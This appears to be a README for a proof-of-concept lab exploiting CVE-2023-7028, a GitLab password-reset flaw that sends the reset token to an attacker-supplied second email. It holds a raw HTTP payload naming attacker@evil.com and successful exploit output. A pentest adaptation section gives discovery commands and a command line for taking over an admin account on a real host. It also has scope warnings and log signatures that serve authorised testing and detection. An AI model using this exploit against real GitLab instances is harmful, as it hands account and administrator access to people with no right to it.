CVE-2023-7028 — GitLab Account Takeover via Password Reset
Overview
| Field | Value |
|---|---|
| CVE | CVE-2023-7028 |
| Software | GitLab CE / EE |
| Version Tested | 16.1.4-ce.0 |
| Vulnerable Range | 16.1 < 16.1.6, 16.2 < 16.2.9, 16.3 < 16.3.7, 16.4 < 16.4.5, 16.5 < 16.5.6, 16.6 < 16.6.4, 16.7 < 16.7.2 |
| Type | Account Takeover / Improper Access Control (CWE-640) |
| CVSS | 10.0 (Critical) |
| Authentication | Not required |
| CISA KEV | Yes — actively exploited in the wild |
The /users/password endpoint accepts user[email][] as an array, allowing an unauthenticated attacker to supply a second, attacker-controlled email address alongside the victim's. GitLab dispatches the password-reset link to both addresses. The attacker reads the token from their own inbox, resets the victim's password, and takes over the account — no interaction from the victim required.
Quick Start
bash verify.sh
This script starts the vulnerable environment, waits for GitLab to initialise, creates a victim account, runs the exploit, and prints the result. Zero manual steps required.
Approximate runtime: 6–10 minutes (most of which is GitLab's first-boot initialisation).
Environment
| Component | Details |
|---|---|
| GitLab image | gitlab/gitlab-ce:16.1.4-ce.0 |
| GitLab port | 8080 → http://localhost:8080 |
| MailHog port | 8025 → http://localhost:8025 |
| Root credentials | root / P@ssword123! |
| Victim credentials (pre-exploit) | victim / InitialPass123! |
| Victim credentials (post-exploit) | victim / Hacked123! |
# Start
docker compose up -d
# Watch initialisation (takes 4-6 min on first boot)
docker compose logs -f gitlab
# Stop and remove volumes
docker compose down -v
MailHog web UI (http://localhost:8025) shows every email GitLab sends, including the intercepted password-reset link.
Exploit
- File:
exploit/exploit.py - Source: Adapted from Vozec/CVE-2023-7028
- Language: Python 3
How It Works
Vulnerability Mechanism
GitLab's PasswordsController#create passes the raw user[email] parameter to ActiveRecord's find_by_email via Devise. When the parameter is an array (user[email][]), Rails automatically deserialises it into ["victim@...", "attacker@..."]. Devise's password-reset logic iterates the result and sends a reset token to every address in the list.
The root cause is the absence of input validation that would reject non-scalar values for the email parameter. GitLab's fix (16.7.2, 16.6.4, etc.) converts user[:email] to a scalar string before processing.
Exploit Step-by-Step
- Fetch CSRF token — GET
/users/password/new, extract<meta name="csrf-token">. - Trigger dual-email reset — POST
/users/passwordwith:
GitLab processes both addresses and emails the reset link to both.authenticity_token=<csrf>&user[email][]=victim@target.com&user[email][]=attacker@evil.com - Capture token — In lab mode, poll MailHog's REST API (
GET /api/v2/messages) and extract thereset_password_tokenfrom the email received at the attacker address. - Reset password — GET
/users/password/edit?reset_password_token=<token>to get a freshauthenticity_token, then PUT/users/passwordwith the new password. - Verify — POST to
/users/sign_inwith the new credentials; confirm dashboard access.
Raw Exploit Payload
POST /users/password HTTP/1.1
Host: gitlab.target.com
Content-Type: application/x-www-form-urlencoded
authenticity_token=<TOKEN>&user%5Bemail%5D%5B%5D=victim%40target.com&user%5Bemail%5D%5B%5D=attacker%40evil.com
Successful Output (live run against GitLab CE 16.1.4-ce.0)
==============================================================
CVE-2023-7028 — GitLab Account Takeover PoC
==============================================================
Target : http://localhost:8080
Victim : victim <victim@victim.local>
Attacker : attacker@attacker.local
New pass : Hacked123!
MailHog : http://localhost:8025
==============================================================
[*] Step 1 — Triggering CVE-2023-7028 dual-email password reset
Victim : victim@victim.local
Attacker : attacker@attacker.local
[+] Reset emails dispatched to BOTH victim@victim.local and attacker@attacker.local!
[*] Step 2 — Polling MailHog for email sent to attacker@attacker.local
Attempt 1/30 … not yet.
Attempt 2/30 … found!
[+] Reset token captured: AJJ9EZu_LjJ2f6xD8EdW…
[*] Step 3 — Setting new password via captured token
[+] Password changed to: Hacked123!
[*] Step 4 — Verifying account takeover (login as 'victim')
[+] Authenticated as 'victim' — dashboard accessible!
==============================================================
[+] EXPLOIT SUCCESSFUL — ACCOUNT TAKEOVER CONFIRMED
URL : http://localhost:8080/users/sign_in
Username : victim
Password : Hacked123!
==============================================================
Manual Usage
# 1. Start environment
docker compose up -d
# 2. Wait for GitLab (~5 min)
# Watch logs until you see "gitlab Reconfigured!" repeated
docker compose logs -f gitlab
# 3. Create a victim user (lab only — in real engagements the target already exists)
docker exec cve_2023_7028_gitlab gitlab-rails runner "
u = User.new(name:'Victim', username:'victim', email:'victim@victim.local',
password:'InitialPass123!', password_confirmation:'InitialPass123!',
confirmed_at: Time.now)
u.skip_reconfirmation!
u.save!
puts 'Created: ' + u.email
"
# 4. Install dependencies
pip install -r exploit/requirements.txt
# 5. Run exploit
python3 exploit/exploit.py \
--target http://localhost:8080 \
--mailhog http://localhost:8025 \
--victim-email victim@victim.local \
--victim-user victim \
--attacker-email attacker@attacker.local \
--new-password Hacked123!
Pentest Adaptation Guide
Target Discovery
Identify potentially vulnerable GitLab instances:
# Nmap service detection
nmap -sV -p 80,443,8080 <target_range>
# GitLab version from login page meta tag or footer
curl -s https://gitlab.target.com/users/sign_in | grep -i 'gitlab\|version'
# GitLab exposes version info at the help page (authenticated) or in HTTP headers
curl -sv https://gitlab.target.com/ 2>&1 | grep -i 'x-gitlab\|gitlab'
# API version endpoint (sometimes accessible unauthenticated)
curl https://gitlab.target.com/api/v4/version
Version ranges confirmed vulnerable:
>= 16.1.0, < 16.1.6>= 16.2.0, < 16.2.9>= 16.3.0, < 16.3.7>= 16.4.0, < 16.4.5>= 16.5.0, < 16.5.6>= 16.6.0, < 16.6.4>= 16.7.0, < 16.7.2
Adapting the Exploit
- Target URL — replace
http://localhost:8080withhttps://gitlab.target.com. - Victim email — you need the target account's registered email address. Common sources: GitLab's public API (
/api/v4/users?search=<username>on open instances), leaked data, OSINT. - Attacker email — use an email address you control. For an engagement, a temporary mailbox on your own mail server or a service like mailinator works.
- No MailHog — pass
--no-mailhogand the script will prompt you to paste the reset URL after it arrives in your inbox.
python3 exploit/exploit.py \
--target https://gitlab.target.com \
--victim-email admin@target.com \
--victim-user admin \
--attacker-email pentester@yourserver.com \
--new-password "NewPass$(date +%s)!" \
--no-mailhog
Safe Verification (Non-Destructive)
To confirm the vulnerability without completing an account takeover:
- Check version only — if the version is in the vulnerable range, the instance is almost certainly vulnerable.
- Trigger reset without changing password — send the dual-email request; confirm the success flash message (
"If your email address exists in our database") appears. Do NOT proceed to the password-change step. - Use a test account — if you own a non-admin account on the target, use your own account's email as the victim address. You can then verify the token arrived at your attacker address without impacting production accounts.
- Metasploit check module — if a
checkaction is available in a Metasploit module, userun checkrather thanrun exploit.
Do NOT:
- Reset passwords for accounts belonging to real users without explicit scope.
- Proceed past step 1 in a production environment unless your scope explicitly authorises account takeover testing.
Evidence Collection
For a pentest report, capture:
| Evidence | How to collect |
|---|---|
| Vulnerable version | Screenshot of https://gitlab.target.com/help or API version response |
| Exploit trigger | Screenshot / curl -v output showing the 200 response with success flash |
| Captured reset email | Screenshot of your attacker inbox showing the GitLab reset link |
| Password change confirmation | Screenshot of "Your password has been changed successfully" page |
| Authenticated session | Screenshot of the victim's GitLab dashboard after login |
Log entries that confirm exploitation (from the GitLab server):
# /var/log/gitlab/gitlab-rails/production_json.log
# Look for: path="/users/password" with params.email as a JSON array
{"method":"POST","path":"/users/password","params":{"user":{"email":["victim@..","attacker@.."]}}}
# /var/log/gitlab/gitlab-rails/audit_json.log
# Look for: PasswordsController#create with target_details as array
{"meta":{"caller_id":"PasswordsController#create"},"target_details":["victim@..","attacker@.."]}
Reference standard: document per OWASP Testing Guide v4.2 — OTG-AUTHN-009.